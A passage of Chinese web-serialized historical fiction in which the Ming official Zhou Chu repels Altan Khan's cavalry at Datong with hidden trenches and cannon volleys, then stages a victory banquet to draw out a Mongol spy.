刚跑到一半,胡宗宪就感觉身体就像个破败的风箱一般,就连吸进来的风都是火辣辣的,不过胡宗宪很清楚,自己不能放弃,这才只是加入军队的第一步,倘若自己连一个普通士兵都不如,又如何能上阵杀敌? 十里跑完之后,胡宗宪下意识地想要瘫倒在地。 “不要躺下,慢走也行,要动着,不然你今天就练不了了。” 胡宗宪的什长看到胡宗宪这副模样,忍不住提醒道。 胡宗宪听到这话,凭借着意志力保持站立,不断地慢走着。 另外一边,周楚来到了大同城墙上,看着城墙外的景象,并没有看到蒙古人的大军,这并没有出乎周楚的预料。 之前林鹿打下了大同以西以北的大量草原,如今的蒙古人正在从更远的地方一路打过来,试图将这些草原打过去。 根据卫所兵的那些千总给出的信息,那些蒙古人要打到大同,最少还需要三日。 不过周楚很清楚,打仗讲究的是兵贵神速,出其不意,自己如果是俺答的话,一定会在这两日尽快提升行军速度,打自己一个措手不及。 “安排两万大军值守城墙,今夜和明日一定要打起十二分精神。” 周楚看着手下的那些千总,做着部署。 “是,大人。” 对于周楚的命令,他们是无条件的执行。 “玄武军的斥候派出去了吗?” 周楚看着云瑾,问道。 “已经撒出去了,估计很快就会有消息了。” 云瑾点了点头道。 周楚听到这话,这才放下心来,打仗打的就是一个知己知彼,赢就赢在一个出其不意,想要快速结束一场战争,就要出奇兵,否则一旦进入正面对垒阶段,就是持续的消耗。 周楚不想消耗,因为消耗的都是大明的将士。 第316章 修筑防御工事,陷马坑,俺答懵了 半夜,胡宗宪刚睡着没多久,就听到了集结的军号声,这让胡宗宪瞬间精神了起来,在胡宗宪看来,这个时候吹军号,多半是蒙古人打过来了。 只是当胡宗宪来到大同城外,手里被塞了一把铁锹的时候,人懵了。 “这是要干什么?” 胡宗宪看着自己的什长,满脸不解道。尐説φ呅蛧 “按大人的说法,这是修筑防御工事,用你能听得懂的说法,这叫挖战壕,想要限制住蒙古人的骑兵,战壕必不可少,赶紧干活。” 什长一边奋力地往下挖着,一边督促胡宗宪干活。 胡宗宪听到这话,把铁锹往下一插,然后开始挖了起来,这种活胡宗宪很熟,之前在张家村的时候,没少干类似的活,自然是手到擒来。 胡宗宪回想着自己读过的兵书,想起了步兵对付骑兵的战法,挖战壕就是其中最简单且有效的,战壕挖的不需要很宽,如此窄且深的战壕在平地上离远了根本就看不到,骑兵需要离得很近才能清晰地看到战壕,但基本已经来不及了。 即便有些反应的快,能越过去,战壕之中隐藏的士兵也会使用钩镰枪钩断马腿,使得对方的骑兵阵营人仰马翻。 战壕又叫陷马坑,自古以来屡试不爽,想到这里,胡宗宪顿时明白了自己老师的想法,也有了动力,开始奋力挖起了战壕。 等战壕的深度挖的差不多了,胡宗宪等人还会在其中掏一些小洞,这些小洞是躲藏在战壕之中的士兵藏身的地方,免得马陷入战壕之中的时候,被马踩死,也可以有效的防止敌人的射击。 整个大同城外,战壕的密度并不大,密度太大的话,战壕一眼就被敌人看到了,就失去了出其不意的作用了,反而是这种密度,对玄武军而言刚好,不然密度太大的话,到时候玄武军想要追击,也要小心战壕。 第二天一早,战壕刚挖好没多久,城墙上的周楚就得到了斥候的消息。 “大人,蒙古人最多还有半个时辰抵达城外。” 这话让原本熬了一夜有些困顿的周楚瞬间来了精神。 俺答不愧是十几岁就能统领上万蒙古骑兵的奇才,深谙兵贵神速的道理,虽然比周楚预料的晚了些,却也比大同卫所预料的早了两天。 两天的提前量,要是事先没有防备,往往是致命的。 “传令下去,所有防御工事一刻钟内做好相应的隐蔽。” 周楚下令道。 虽说在马上很难看到战壕,但周楚要的是更加隐蔽,只有够隐蔽,才能发挥战壕的最大作用。 胡宗宪得到命令之后,和其他士兵一起,将一些青草有序的铺在了战壕上面。 此时正是八月份,大同城外青草茂盛,对战壕有着天然的隐蔽作用。 胡宗宪和他们这个战斗小组的士兵全部在战壕之中就地隐藏了下来,胡宗宪看着头上铺满的草,随后躬身钻进了那早就挖好的小洞之中,隐藏身形,以待时机。 “你就在这里蹲着,用短钩镰枪就行,长钩镰枪你还没训练,用不好会误伤自己人。” 什长看着胡宗宪道。 胡宗宪听到这话,点了点头,他在这个什长手下,自然要统一行动。 除了胡宗宪之外,他们这支队伍每个士兵都配备长短两把钩镰枪,长的是用来钩地面上的马腿的,短的则是用来钩陷落进战壕的马腿的。 胡宗宪并没有因为什长的话而感到不服,实际上他很清楚自己有几斤几两,在战壕之中使用长钩镰枪并不是一件简单的事,角度力道缺一不可,这是要经过长期训练的。 很显然胡宗宪缺乏这方面的训练,贸然使用长钩镰枪,无论对胡宗宪还是其他人而言都不是好事。 如此又过了一刻钟左右,胡宗宪能明显的感受到地面上传来的震动,这让胡宗宪打起了十二分精神。 “全神戒备!” 胡宗宪的什长低声喊了一声。 随着地面的震动越来越强,胡宗宪已经能明显的听到蒙古人的喊杀之声了。 “放!” 周楚挥动着令旗指挥着城墙上的炮兵。 一门门子母炮被点燃引线,紧接着一阵火炮的轰鸣声响起。 躲在战壕之中的胡宗宪听到地面上传来的爆炸声,只感觉耳朵嗡嗡的。 不过城墙上的炮兵都知道战壕修在哪里,放炮的时候刻意避开了战壕的范围。 即便如此,如此大范围的火力覆盖,还是让躲在战壕之中的胡宗宪感到莫名的震撼,他此时兴奋地浑身发抖,恨不得钻出战壕看看外面是何等光景。 不过胡宗宪很清楚此刻自己该做什么,他窝在战壕之中,手里卧着短柄钩镰枪,静等敌人陷落进来。 很快,第一轮的火炮齐射结束了,蒙古人似乎料到了周楚这边会用火器,整个骑兵方阵是分梯队行进的。 每一千人一个梯队,这也导致了第一轮的火炮齐射杀伤力有限,只击杀了一千多蒙古骑兵。 第一梯队的蒙古骑兵几乎全军覆没,第二梯队也有少量被波及。 “他们的火炮要换弹了,冲!” 俺答怒吼道。 此时的蒙古骑兵经过了火炮声的洗礼,完全听不到俺答在说什么,不过却能看得懂他手中战旗的意思,于是第二梯队和第三梯队直接往前冲。 “放!” 周楚看着下方的蒙古骑兵,神情冷峻的继续挥动战旗。 周楚自然不会在第一轮就把所有火炮都安排上,火炮两轮交叉射击,如此才能保证火力最大化。 随着周楚的命令,一门门火炮又开始了轰鸣。 原本气势汹汹的蒙古人的第二第三梯队再次迎来了毁灭性的打击。 “冲!” 俺答看到眼前这一幕,目眦欲裂,但他清楚,此时万万不能停止冲锋,否则之前所有的牺牲就都白费了。 俺答更清楚,大明的火炮也就这一两轮齐射,之后炮管需要冷却,他对大明的火器还是很了解的。 虽然俺答错估了子母炮,但想法却是大差不多,即便是子母炮,也需要换子炮的时间,两轮齐射之后,确实有短暂的真空期。 俺答眼看着大明的火炮停了,率领大军继续冲锋,却突然看到最前面的骑兵消失不见,有些则是人仰马翻。 “陷马坑!” 俺答脸色一变。 他只顾着兵贵神速,想着打大同一个出其不意,所以根本没想到大同守军早已做好了准备,甚至提前挖了陷马坑。 原本躲在战壕之中的胡宗宪,看到落在自己面前的战马和蒙古骑兵,用手中的短柄钩镰枪直接钩断了马腿,随后钩断了蒙古骑兵的喉管。 第317章 俺答的夺权之路,又一轮的火炮齐射,俺答傻了 俺答大半年前在大同城外被周楚算计之后,损失惨重。 逃回草原之后,俺答遭到了草原上其他部落的蒙古人的嗤笑,那些蒙古人都认为俺答枉为老可汗的儿子。 直到后来林鹿率领虎贲军将草原上其他部落的蒙古人打的抱头鼠窜,蒙古人才意识到如今的大同守将换人了,不只是守将换人了,那些明军比之前大同的那些卫所兵不知道强了多少倍。 他们面对这支明军的时候,根本兴不起反抗的念头,这支明军来去如风,行军速度极快,而且如同鬼魅一般,没有人知道这支明军什么时候就杀到了自己的部落。 这让所有蒙古人人心惶惶,不断地往西退守。 此时这些蒙古人才反应过来,他们似乎冤枉了俺答,面对这样一支明军,俺答只有一两千人,根本不可能抵挡。 草原上的蒙古人被大明这些年断铁断盐,很多都没了斗志,甚至一提起大明就心生畏惧,但无论是大明亦或是蒙古人,都分为鹰派和鸽派,俺答就是蒙古人之中鹰派的代表。 俺答作为已故的老可汗的儿子,自然是遭受到了新可汗的忌惮,被发配到了一个小部落之中,原本也就这样了,俺答想要继承汗位,还不知道要等多少年。 但林鹿率领虎贲军打的那些蒙古人心惊肉跳,很多蒙古人在睡梦之中就被明军杀死了,于是越来越多的蒙古人怕了,他们对现在的大汗愈发不满,这位大汗只会在明军打过来之后,一味地退让。 甚至有一次,这位大汗为了保命,连自己的女人和孩子都顾不得了,骑着马就跑,他的女人和孩子要么成了明军的刀下亡魂,要么被明军俘虏了。 至此,蒙古人对这位大汗的不满达到了巅峰,于是越来越多的鹰派,开始联系俺答,在一个月黑风高夜,那些愿意为俺答效忠的鹰派冲入了大汗的营帐之中,将他斩杀在当场。 俺答顺理成章的就成了新一任的大汗。 继承了汗位的俺答,第一时间就把蒙古人之中的有效战力全部集中起来,静待时机。 这段时间,太原的那些晋商再次联系到了俺答,上次俺答逃命之后,也反应了过来,应该不是那些商人出卖了他,除非那些商人不要命了,否则他们没有任何理由出卖自己,里通外敌的罪名,谁都承担不起。 所以俺答和这些晋商又开始了互通有无,从这些商人口中俺答得知,上次阴了自己的,居然是锦衣卫指挥使周楚。 周楚? 俺答听到这个名字的时候,想了半天,发现自己对这个人毫无印象。 不过这些晋商早就准备好了周楚的资料,向俺答详细讲述了周楚的经历,并且告知周楚早已离开了大同。 听到这个消息,俺答不甘心的同时又松了口气,这位锦衣卫指挥使不在大同,意味着自己一旦有机会,将很容易攻破大同。 大同的那些卫所兵,在俺答眼中不过是土鸡瓦狗罢了。wWW.xszWω㈧.йêt 林鹿训练卫所兵的事,自然是保密的,自从林鹿镇守大同之后,卫所军营严禁不相关的人靠近。 那些晋商即便是想要打探消息,也不敢,他们生怕打草惊蛇。 林鹿离开大同的时候,那些晋商终于等到了机会,第一时间将这个消息传递给了俺答。 俺答留了个心眼,派了个斥候进入大同城内打探消息,俺答的斥候进入大同城之后,就受到了晋王的人的庇护,很快就打听清楚了。 核实了消息的俺答再无顾忌,他很清楚,倘若要攻打大同,讲究的就是一个兵贵神速,要在明军反应过来之前打到大同。 于是俺答当即整顿兵马,如同一把尖刀一般,从草原直奔大同而去。 可惜,之前蒙古人被林鹿往西驱逐太远了,即便俺答的人势如破竹,一路几乎没遇到什么阻碍,但之前蒙古人几乎都被林鹿驱逐到了乌海附近,乌海距离大同,近一千五百里。 即便俺答行军速度再快,一万大军也得奔袭半个月才能抵达大同。 实际上京城得到这个消息的时候,已经是在俺答开始往东推进的第七天了。 俺答只用了十四天左右的时间,就把近万蒙古骑兵往东推进了一千五百里,速度不可谓不惊人。 由此也体现了战略纵深的重要性,只要战略纵深够深,一切闪电战都能有反应的时间,倘若俺答处于原本的位置,京城得到消息的时候,恐怕大同已然城破了。 如果周楚此时不在大同的话,单凭这些卫所军,说不定还真着了他的道。 俺答眼看着自己的人马遭受到了两轮齐射,损失惨重,顿时有种熟悉的感觉。 “莫非是那周楚?” 俺答脸色一变。 他率领大军推进到这里,用了半个月的时间,俺答可不信大明皇帝不会做出任何反应,这个时间将周楚这个锦衣卫指挥使调往大同镇守是完全来得及的。 一想到这里,俺答就暗恨,恨之前的大汗不作为,以至于他们的人马被林鹿几乎毫不费力的就往西驱逐到了乌海。 倘若没有往西后撤那么远的话,哪怕再近五百里,俺答都有信心一路攻破大同,横扫大明。 但此时俺答几乎可以确定,周楚就在城墙上指挥着明军攻打他们,眼前这该死的陷马坑肯定也是周楚这位锦衣卫指挥使下令挖的。 其他人根本意识不到自己能这么快行军到此处,因为之前俺答故意打了个时间差,为的就是出其不意。 陷马坑对骑兵阵型的破坏是致命的,后面梯队的蒙古骑兵不得不临时变换阵型,绕过眼前的陷马坑,硬闯陷马坑注定会损失惨重,那陷马坑之中冒出的一个个钩镰枪,已经钩断了一个又一个马腿,导致前面梯队的骑兵人仰马翻。 俺答不得不下令,让他手下的骑兵分为左右两侧,从侧翼迂回,试图以此攻打到大同城下会合,只要到了城下,俺答有信心破城。 周楚站在城墙上,眼看着蒙古骑兵一分为二,从左右迂回,并未急着下令,此时子母炮的子炮已经填装完毕,周楚在等一个机会,等这些蒙古人再次会合,等他们彻底绕过了陷马坑。 陷马坑如果在火炮的火力范围内的话,很容易误伤里面的明军,这不是周楚想看到的。 很快,蒙古人纷纷突破了陷马坑的防线,俺答看着自己手下的兵马会和,再次意气风发了起来。 “放!” 周楚面容冷酷地挥动令旗。 令旗挥动的瞬间,子母炮的引线纷纷被点燃,又是一轮地动山摇的火炮齐射。 “怎么可能?他怎么可能还有火炮?” 俺答脸色巨变道。 第318章 女战神云瑾,夺旗,落荒而逃的蒙古人 如今的大同早已不是昔日的大同,当初周楚来大同的时候,带着南镇抚司的工匠以及无数子母炮,这些火炮基本都留在了大同。 大同可是大明重镇,周楚和皇帝留了专门的人看守大同的军火库,他们得到的唯一命令便是,一旦大同城破,直接引爆军火库,绝不给蒙古人留下任何火炮。 蒙古人有抢夺大明火炮为己所用的先例,比如几十年前的瓦剌,不过蒙古人却没有制造火器的能力和材料,现在的蒙古人断烟断铁多年,要不是有那些晋商给他们送物资,早就废了,火器更是不用想了。 即便是有大炮,也是几十年前留下的,能不能用暂且不说,俺答这等急行军,原本想着的是打大同一个措手不及,更不可能带那些老旧而笨重的火器了。 眼看着冲过了陷马坑,俺答的人马再次迎来了新一轮的火炮洗礼,这让俺答措手不及,按照俺答的理解,大明的火炮虽然厉害,却也只能进行一轮齐射,然后炮膛要经过很久的冷却才能进行下一次齐射,否则会炸膛。 这也是俺答为何如此自信的原因,只是俺答怎么都没想到,他们这么快就迎来了新一轮的火炮射击。 俺答不明白,这大同城内究竟有多少门火炮?能让明军进行三四轮的交叉射击。 俺答根本没想过大明会有子母炮这样的火炮,射击完之后根本不需要冷却,只需要换子炮,就可以进行新一轮的射击。 实际上不只是俺答,没见过子母炮的所有人都想象不到子母炮的射击方式,可以说子母炮的出现直接改变了战争的形式。 眼看着自己的人马已经损失过半,俺答明白继续这样冲阵除了造成更大的损失毫无意义,只能下令撤退。 不过前有火炮,后有陷马坑,陷马坑之中埋伏着的士兵可不是易与之辈,除了钩镰枪,他们还都配备了燧发枪,这些士兵露头对着就近撤退的蒙古骑兵抽冷子就是一枪。 虽然这种情况下,命中率注定不高,但不需要太高,这些士兵的枪声以及一个个被射落的蒙古人顿时让撤退的蒙古骑兵阵脚大乱。 原本还在有序撤退的蒙古骑兵此时哪里还有阵型,一个个慌不择路。 “放信号弹。” 周楚看着身后的沈炼,说道。 沈炼听到这话,二话不说点燃早已准备好的信号弹。 大同城外十里左右,云瑾带领着玄武军早已在此处隐藏了起来,大同城门口的战争刚打响的时候,所有玄武军就已经准备好了,他们的任务是收割逃窜的蒙古人。 “兄弟们,随我冲杀。” 云瑾怒吼一声,纵马向逃窜过来的蒙古人冲杀了过去。 沐云萍看到云瑾这副模样,顿感热血沸腾,紧跟着冲杀了出去,玄武军则跟在两翼包抄策应。 如今的玄武军早就换成了蒙古马,无论是爆发力还是持久力和蒙古人骑的马相比丝毫不差,身着全甲的云瑾早太阳下如同一个战神一般,杀入蒙古人之中,无一合之敌。 云瑾身后跟着上百个玄武军的士兵,如同一把尖刀一般,直插蒙古人的阵营,所到之处,纵横无敌。 俺答看着眼前这支突然出现的骑兵,心里咯噔一下,对于虎贲军的存在他是知道的,毕竟之前他和虎贲军交过手,差点交代在虎贲军手中。 所以俺答内心对虎贲军是很恐惧的,原本俺答敢攻打大同,就是因为得到了消息,镇守大同的林鹿率领虎贲军离开了大同,似乎奔奴儿干都司去了。 眼前这支军队,看军旗似乎不是虎贲军,但论战力和这所向无敌的劲头,完全和虎贲军相差无几。 “撤!” 俺答怒吼道。 他身后的传令兵急忙挥动战旗,下达撤退的命令。 俺答本就是败军之将,如今骤然面对突然出现的玄武军,内心已经毫无战意,在这草原上,他们一心想逃的话,这支军队很难留下他们。 “夺旗!” 云瑾看出了俺答的想法,大喊一声之后,骑着马冲着蒙古人的战旗就去了,身后的一百多玄武军急忙跟上,左右也有数百玄武军策应,如同一道锐利的三角,直奔俺答而去。 俺答见状大惊失色,他看着云瑾,不清楚这个全甲的大明将领是冲自己来的还是冲战旗来的,不管是哪个,都不能让他得逞。 于是俺答急忙转向,试图冲出包围圈,不过此时蒙古人的阵型已经乱的不像样子,俺答此时才发现,自己左右居然都是明军,想冲出去,难如登天。 “兵分两路。” 俺答看着身后扛战旗的士兵,说道。 俺答不清楚对方是冲他来的还是冲战旗来的,但无论是哪个,兵分两路总能保住一个。 于是俺答和战旗一左一右分开了,负责扛战旗的蒙古兵身高九尺,看上去异常壮硕,论气势可比俺答这个才十五六岁的少年强多了。 俺答在这些蒙古人之中并不起眼,和他一起突围的还有许多蒙古骑兵,云瑾等人根本认不出哪个是敌方首领,更何况云瑾的目标一开始就是夺旗,自然没有半途而废的道理。 “射!” 云瑾看着扛着战旗的蒙古人的身形,很清楚硬碰不得,直接挥手示意身后的玄武军射击。 玄武军纷纷拿出燧发枪,冲着不远处扛着战旗的蒙古人纷纷射击,那蒙古人本就扛着战旗,想要躲避何其困难,再加上这么多燧发枪一起射击,瞬间便被射成了筛子。 玄武军的一个百夫长见状急忙上前抢下了蒙古人的战旗。 “摇旗!” 云瑾下令道。 这个百夫长听到这话,直接开始摇动蒙古人的战旗,那些逃窜的蒙古人,此时慌不择路,看到自己的战旗不停地摇动,纷纷向战旗靠拢。 云瑾率领玄武军直接围点打援,将一个个蒙古人斩于马下。 “这是哪个将军,这也太猛了。” 陷马坑之中,胡宗宪的什长拿着望远镜看着远处云瑾率领玄武军大杀四方的模样,忍不住感慨道。 这话听的胡宗宪抓耳挠腮,恨不得从什长手中抢过望远镜看一看远处的战况。 当初周楚让南镇抚司的工匠造了很多望远镜,军中就有许多,不过一般的什长是没有的,当然,胡宗宪的这个什长完全是喜欢这望远镜,自己花钱在军需官那里买了一个。 “老大,让我看看,让我看看。” 胡宗宪实在是忍不住了,开口道。 什长听到这话,看了看胡宗宪,又看了看周围其他一脸热切的士兵,有些不舍的将手中的望远镜交给了胡宗宪。 “你们挨个看,这种场面可不多见,这辈子能见一次少一次。” 胡宗宪听到这话,急忙把望远镜放在眼睛上,对准了远方,不过他是第一次使用望远镜,完全找不到要看的敌方。 “你真是个废物。” 什长一边说着,一边来到胡宗宪身后帮他对准云瑾以及玄武军所在的地方。 胡宗宪刚好看到了玄武军的百夫长摇动着蒙古人的战旗,云瑾等人冲着冲过来的蒙古人乱杀。 旁边的沐云萍也跟着一阵冲杀。 这一幕看的胡宗宪热血沸腾,恨不得冲上去取代沐云萍,此时的胡宗宪无比羡慕沐云萍,她能跟着玄武军统领,不像他们,只能跟在卫所兵这里打打下手。 胡宗宪一眼就看出了那个身着全甲的玄武军统领正是云瑾,以前跟在自己老师身边那个小鸟依人的女人。 此时的云瑾穿着全甲,完全看不出女人的模样,仿佛杀神在世一般,那些蒙古人在她手上极少有能坚持一个回合的。 “大丈夫当如此,大丈夫当如此!” 胡宗宪忍不住感慨道。 “该我了,该我了!” 旁边一个士兵一把从胡宗宪手中抢过望远镜,继续观看了起来。 即便夺了旗,但之前已经有许多蒙古人跑掉了,再加上这些蒙古人一看形势不对,立刻就调转方向,到最后,云瑾带着玄武军也只斩杀了近两千蒙古人。 这种战果,在这草原上,并非巷战,已经是极其辉煌了。 那些蒙古人一旦冲出去,想要再追上他们,难如登天。 周楚也没打算让玄武军追多远,周楚下的命令就是能斩杀多少就斩杀多少,在草原上追杀蒙古骑兵本就不是一件理智的事。 俺答率领上万大军前来,最后只剩下三千多人跑掉,损失不可谓不惨重。 俺答往西逃了五六十里之后,眼看着后面没了追兵,这才停了下来。 “大汗,撤吧,这大同怎么打?全是火炮。” 俺答手下的一个蒙古人说道。 俺答却是摇了摇头。 “不急,我们还有三千多人,那明军打了大胜仗,此时必然得意忘形,甚至开庆功宴,今夜我们杀他们一个回马枪,来个措手不及,到时候只要城破,一切损失都是值得的。” 俺答眼泛寒光道。 其他蒙古人听到这话,顿时来了精神,仔细想想俺答的话,可行性极高。 “先联系一下城内的细作,确认一下周楚这些人的动向再行动不迟。” 俺答说道。 另外一边,云瑾带着玄武军凯旋而归。 “大人,幸不辱命,此役杀敌一千八百九十五人。” 云瑾来到周楚面前,行礼道。 周楚听到这话,点了点头,看向了一旁的无所军千总。 “火炮击杀了多少蒙古兵,统计出来了吗?” 那千总听到这话,急忙行礼。 “大人,很多人被轰击的残缺不全,只能大致统计出死在城外的蒙古人大概有四千多人。” “四千多,两千不到,这么说应该还有三千多蒙古骑兵,俺答死了没有?” 周楚看着云瑾问道。 云瑾摇了摇头。 “之前光顾着夺旗了,俺答的穿着和其他蒙古骑兵差别不大,当时他和战旗兵分两路,应该是让他跑掉了。” 这是云瑾判断出来的,当初有一支蒙古兵和战旗分开了,云瑾判断那里面应该就有俺答,否则一般蒙古人是断不可能弃战旗而去的。 “三千多骑兵....俺答...” 周楚嘴里念叨着,越想越觉得俺答不太可能带着这些人逃回去,此时逃回去,损失的那些蒙古骑兵就白费了。 想要利益最大化,最好的方法就是调转马头,再次打自己一个出其不意。 兵法有云,攻敌所未料,攻敌所必救。 出其不意,出奇兵,往往是快速制胜的最好方法。 当然,这也只是周楚的猜测,即便没有这些猜测,周楚也不会放任这么一支不稳定因素在草原上乱逛。 “派出斥候,尽快找到他们的下落,盯死他们。” 周楚下令道。 “是!” 云瑾领命离去。 “去,把于海叫过来。” 周楚看着沈炼,说道。 沈炼听到这话,急忙去叫于海,很快于海就来到了周楚面前。 “大人。” 于海行礼道。 “把那些晋王府的人都带过来。” 周楚说道。 “是,大人。” 于海说着就吩咐手下的锦衣卫去将晋王府的那些商人带了过来。 “我看你们锦衣卫是吃了熊心豹子胆了,居然敢动我们晋王府的人,代王知道吗?我要见代王。” 这些人刚被带过来,为首之人就不断叫嚣。 大同的锦衣卫理论上是归代王管,如今于海将他们抓了起来,代表着代王府要对晋王府动手。 同是藩王府,他们自然不怕代王府,这也是他们的底气所在。 “本官在这里,锦衣卫就只听本官的,不会听代王的。” 周楚看着这些人道。 “周.....周大人!” 那人看到周楚,脸色顿时变了,他们都看过周楚的画像,再加上周楚身上的飞鱼服,他们想不认识都难。 “怎么,要找本官算账?” 周楚看着这些人,冷笑道。 “不敢不敢,周大人说的哪里的话?” 面对代王,他们不怕,但面对周楚,他们瞬间就怂了,先不说周楚做过的那些事,单单锦衣卫指挥使这个职务,代表的就是皇上,动他们轻而易举。 “不知道的还以为你们晋王府无法无天了呢?之前我们和蒙古人大战,打了大胜仗,本官高兴,将你们放了,正好我们要举行庆功宴,你们要留下参加庆功宴的便留下,不想留的本官也不强求。” 周楚看着这些人说道。 这些人听到周楚打了大胜仗,脸色巨变,要知道蒙古人可是他们的倚仗,如果真像周楚说的这般,他们还真不知道该怎么办了。 “大人说的哪里的话?庆功宴我等就不参与了,告辞。” 为首之人向周楚行礼之后,带着众人离开了。 “派人盯着他们,肯定会有人联系他们的。” 周楚看着于海,冷笑道。 于海听到这话,顿时一激灵,瞬间明白了周楚的意思,合着大人是用这些人来钓剩下的那些蒙古人呢。 “大人英明,属下这就去办。” 第319章 庆功宴,周楚的安排,蒙古细作 “我跟你们说,当时陆将军率兵夺下蒙古人的旗子,让人扛着蒙古人的旗子,不断地吸引蒙古人过去,过去一个杀一个,那叫一个痛快。” 庆功宴上,胡宗宪和赵贞吉朱显榕等人再次碰面,即便是胡宗宪为人深沉,两杯酒下肚,也是忍不住开始炫耀了起来。 放走那些晋王府的商人之后,周楚就让人通知军中百户以上的军官全都来参加庆功宴,当然,玄武军并没有参加,而是隐藏在大同城外,等候俺答的自投罗网,城墙上,周楚也安排了几千卫所兵,时刻盯着城外的动向,一有不对,直接用火炮轰杀。 当然,这些都是暗中安排的,明面上无论是周楚还是其他人,亦或是锦衣卫千户于海都在参与这场声势浩大的庆功宴。 原本胡宗宪他们是没资格参加庆功宴的,但代王朱俊杖在庆功宴上,得知楚王世子此时也在军中,直接让人将几人叫了过来。 对于代王大的要求,周楚自然不会拒绝于是就让人将胡宗宪几人叫了过来。 “你是运气好,你们什长有望远镜,一般这玩意军中最少得百夫长才有,甚至很多百夫长都没有,千总是肯定有的,不然你什么也看不到。” 一旁的赵贞吉满脸酸意道。 他被分配到了炮兵那里,不过不是负责开炮的,而是负责给炮手递子炮的,相当于打下手的。 原本他在城墙上视野是最开阔的,不过因为云瑾阻击蒙古人的时候离城墙太远,那里的人在他眼中都恨不得变成一个点,所以他什么都没看清。 “瞧瞧这是什么?” 朱显榕显摆似的从怀中拿出一个望远镜,满脸得意。 “你哪来的这玩意?军需官可不卖给新兵蛋子。” 胡宗宪看着朱显榕手中的望远镜,眼睛都绿了,从他加入军中就知道有这玩意,甚至还特意去军需官那里问了,军需官告诉他想买这东西,最低得是什长。 这让胡宗宪无比遗憾。 “你也不看我是谁?楚王世子,我和军需官一说,军需官向上级请示了一下,最终惊动了老师,老师特批的,你们想不到吧,这东西是老师发明的,老师说这是格物学的基础应用。” 朱显榕得意一笑道。 “格物学真是包罗万象啊。” 赵贞吉忍不住感慨道。 “胡宗宪,你有没有钩马腿?什么感觉?” 朱显榕随手将望远镜递给胡宗宪,问道。 胡宗宪将望远镜拿在手里把玩,有些爱不释手。 “有,不过我是新兵,只能用短柄的钩镰枪,长柄的用不了,不过我运气好,刚好有个蒙古兵连人带马落在我面前,我手起刀落,先钩马腿,又钩了蒙古人的脖子。” 胡宗宪意气风发道。 “厉害呀,还得是你。” 赵贞吉听的直拍大腿,恨不得取而代之。 “当时我只感觉气血直冲脑门,什么都想不了了,下意识地就去做了,做完之后整个人都兴奋地不行,原来这就是战场,怪不得古人都说醉卧沙场。” 胡宗宪补充道。 “老师太厉害了,将俺答和那些蒙古骑兵算计的死死的,而且我听说这些卫所兵原本战力极为拉胯,自从大半年前老师来了大同,帮他们取回了军饷,让林将军开始正式训练他们,他们才有了现在的战力。” 朱显榕满脸神秘道。 “怪不得,我以前就听说过卫所兵的战力一点都不行,但这次见到的大同守军却并非如此,无论是训练强度,还是军纪,都远非一般军队可比,原来是老师让人训练的。” 胡宗宪听到这话,顿时恍然。 他们可是清楚,那玄武军,以及那只闻其名未见其人的虎贲军,都是老师一手练出来的军队。 虎贲军的战力如何他们不清楚,但玄武军的战力,胡宗宪和朱显榕可是通过望远镜看的清清楚楚,虽然蒙古骑兵当时是溃败,但玄武军能杀的他们毫无还手之力,由此可见一般。 “你们说,那些蒙古人会不会在今晚杀一个回马枪,杀我们一个措手不及?” 赵贞吉突然有些担忧道。 “嘘!” 朱显榕做了个噤声的动作。 “你以为老师没想到吗?老师现在如此大张旗鼓的举办庆功宴,就是为了引蛇出洞,这大同城内有人和蒙古人私通,肯定会给他们通风报信。” 朱显榕低声道。 “这也是老师告诉你的?” 胡宗宪听到这话,一脸醋意道。 “不是,方才代王告诉我,这大同城内有晋王府的细作,让我平日里小心一些,不要着了他们的道,而且我听说老师之前把那些人都抓了,方才又特意将他们放了,你们想想,老师为何放了他们?” 朱显榕看着胡宗宪两人,满脸得意道。 无论是胡宗宪,亦或是赵贞吉和朱显榕,论才思敏捷,都是各中翘楚,否则也不会被周楚收为弟子,朱显榕这话一出,胡宗宪和赵贞吉对视了一眼,瞬间想明白了其中的关键。 “喝酒。” 胡宗宪想明白之后,便对此事闭口不提,生怕坏了老师的计划。 “喝酒。” 赵贞吉也端起酒杯,说道。 不过几人都留了个心眼,都不敢喝多,生怕喝多了控制不住自己的嘴。 另外一边,晋王府的那些商人被放了之后多方打听之下,确认了周楚说的话,甚至在周楚让人有意放出消息的情况下,他们还打探到了如今蒙古人还剩下三千多人。 正当众人犯愁下一步该如何做的时候,他们面前出现了一个熟人,这人是个蒙古人,不过面向更偏向汉人,之前就是他进入大同帮助俺答打探消息,晋王府的这些人甚至还给他特意办了一张大明的身契,所以此人才能在大同城内畅通无阻。 “诸位,大汗让我来问一问,现在大同城内是什么情况?” 这人说的一口流利的汉话,看着众人问道。 晋王府的人听到这话,互相对视了一眼,瞬间意识到了俺答似乎要有所行动,心思顿时活络了起来。 “那周楚现在正带着大同的那些军官举办庆功宴呢,光羊就送过去十几头了,鹿也送过去不少,酒更是没数。” 晋王府领事的人急忙说道。 那蒙古细作听到这话,眼睛顿时亮了,这情况和大汗预料的差不多,不过自己来这里打探消息,可不能听这几人的一面之词,得得到确切的消息才行。 “你们带我去开庆功宴的地方看看。” 细作看着晋王府的众人,说道。 “大人,那些晋王府的人和一个从城外来的人接触了,此人应该就是蒙古人的细作。” 于海来到周楚面前,低声道。 周楚原本看着醉眼朦胧的,听到这话,哪还有半分醉意。 “那蒙古细作肯定会过来打探,吩咐下去,让他们不要打草惊蛇,都来喝酒。” 于海听到这话,顿时会意。 “大人放心,属下一定安排好。” 周楚听到这话,点了点头,再次恢复醉眼朦胧的模样,看着旁边的朱俊杖。 “大王,下官敬你一杯。” 朱俊杖也不知道是装糊涂还是喝多了,对于于海和周楚两人私下的谈话视若无睹,听到这话,这才端起酒杯。 “周大人言重了,咱俩共同喝一杯,庆祝周大人击退蒙古人,斩杀大半蒙古骑兵。” 朱俊杖说完这话,一饮而尽。 周楚也不矫情,跟着一饮而尽。 于海则不着痕迹地离开了,去安排属下了。 蒙古细作来到周楚等人开庆功宴的地方,为了方便这些人观察,周楚特意没在军营举办庆功宴,而是在代王府,对于这一点,代王朱俊杖自然是极为欢迎的。 自从他代王府跟着周楚做了煤矿生意以后,代王府再也不缺开销了,朱俊杖也是阔绰了起来,原本这次庆功宴朱俊杖准备自掏腰包,为的就是和周楚搞好关系,毕竟他大同离草原最近,朱俊杖比任何人都能意识到草原上的羊毛生意将来会极为赚钱,远比煤矿赚钱。 所以这点钱他觉得自己还是要花的。 但周楚没给他这个机会,直接动用的军费。 “大王,下官明白你的心意,不过一码归一码,大王如果替陛下犒赏军队的话,恐怕不太妥当。” 